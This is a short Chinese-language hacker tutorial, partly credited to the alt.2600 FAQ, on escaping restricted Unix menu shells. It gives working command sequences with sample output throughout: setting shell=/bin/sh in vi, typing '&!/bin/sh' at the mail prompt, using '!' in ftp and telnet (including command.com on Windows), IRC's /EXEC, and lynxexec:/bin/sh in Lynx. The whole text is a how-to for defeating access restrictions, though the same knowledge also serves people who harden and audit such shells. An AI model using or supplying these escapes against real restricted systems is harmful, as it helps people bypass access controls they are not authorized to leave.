如何突破一个有限制的SHELL

作者： unknow

在菜单中得到SHELL用户（UNIX）？

1.1有权使用 "vi" 程序（来自ALT.2600问题解答)
VI是一个强有力的文本编辑器，你可能有机会使用。你就有可能得到一个SHELL。
在VI状态下输入以下命令：

:shell=/bin/sh
然后再运行SHELL这个命令：
:shell

注释：如果你的SHELL被限制运行 " CD "命令，那么请使用FTP来得到，这就可以了。

有权使用 "mail" 程序

如果你有权利使用 "mail" 程序来写信请按照下面一步步做:
在菜单选项上运行"mail"程序。

实例：
1.Email (mail) <--------选择这一项到
Email No mail for user1.....
(他会自动地返回选项菜单)

所以在此之前，你要写一封信给你自己

1.Email (mail) <--------选择这一项到
Email Mail version ?. Type ? for help.
"/var/spool/mail/user1": 1 messages

> 1 ck@my.host.edu Thu Sep 1 1:11 1/99 "test"
&

Ok,现在我们停留在 mail 的 "&" 提示符下，那么现在只需要输入以下命令：
&!/bin/sh[回车]
$ <------------ 终于不用再见到那该死的菜单了 ^_^

注释：许多程序里字符 "!" 可以直接制定和运行一个 SHELL 命令，在合式的一个场合中你可以运行 "/bin/sh" 去得到一个 shell。

FTP and Telnet FTP and Telnet 他们同样有能力在提示符下运用字符 "!" 来执行命令:

ftp> !ps <-------- !(command)
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

telnet>!ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

在一些用户的初始配置文件里，并不会为你配置所有命令的绝对路径，那么当你要运行一个程序时，如果你的配置文件里路径查找不到它将不会执行。这个时候你就要输入这个程序的绝对路径了。

实例：
ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

ftp> !/usr/bin/ps
PID TT STAT TIME COMMAND
2679 p2 S 0:01 -menu
2832 p2 R 0:00 ps

注释：无论何时都要设法执行 !/bin/sh

注释： WIN95/98 AND NT：

ftp>!command.com Microsoft
Microsoft Windows NT DOS
Copyright Microsoft Corp 1990-1996.

C:\>

IRC

如果有限制的 SHELL 菜单里可以运行执行 IRC client (Internet Relay Chat)
当在登录的时候，你可以执行任何命令
/EXEC (command)

Lynx 可以使用以下命令 lynxexec and lynxprog:

实例:
lynxexec:ls -l
lynxprog:news
lynxexec:/bin/sh

实例: lynx lynxexec://localhost/finger

PS：如有出错，请各位大客指出。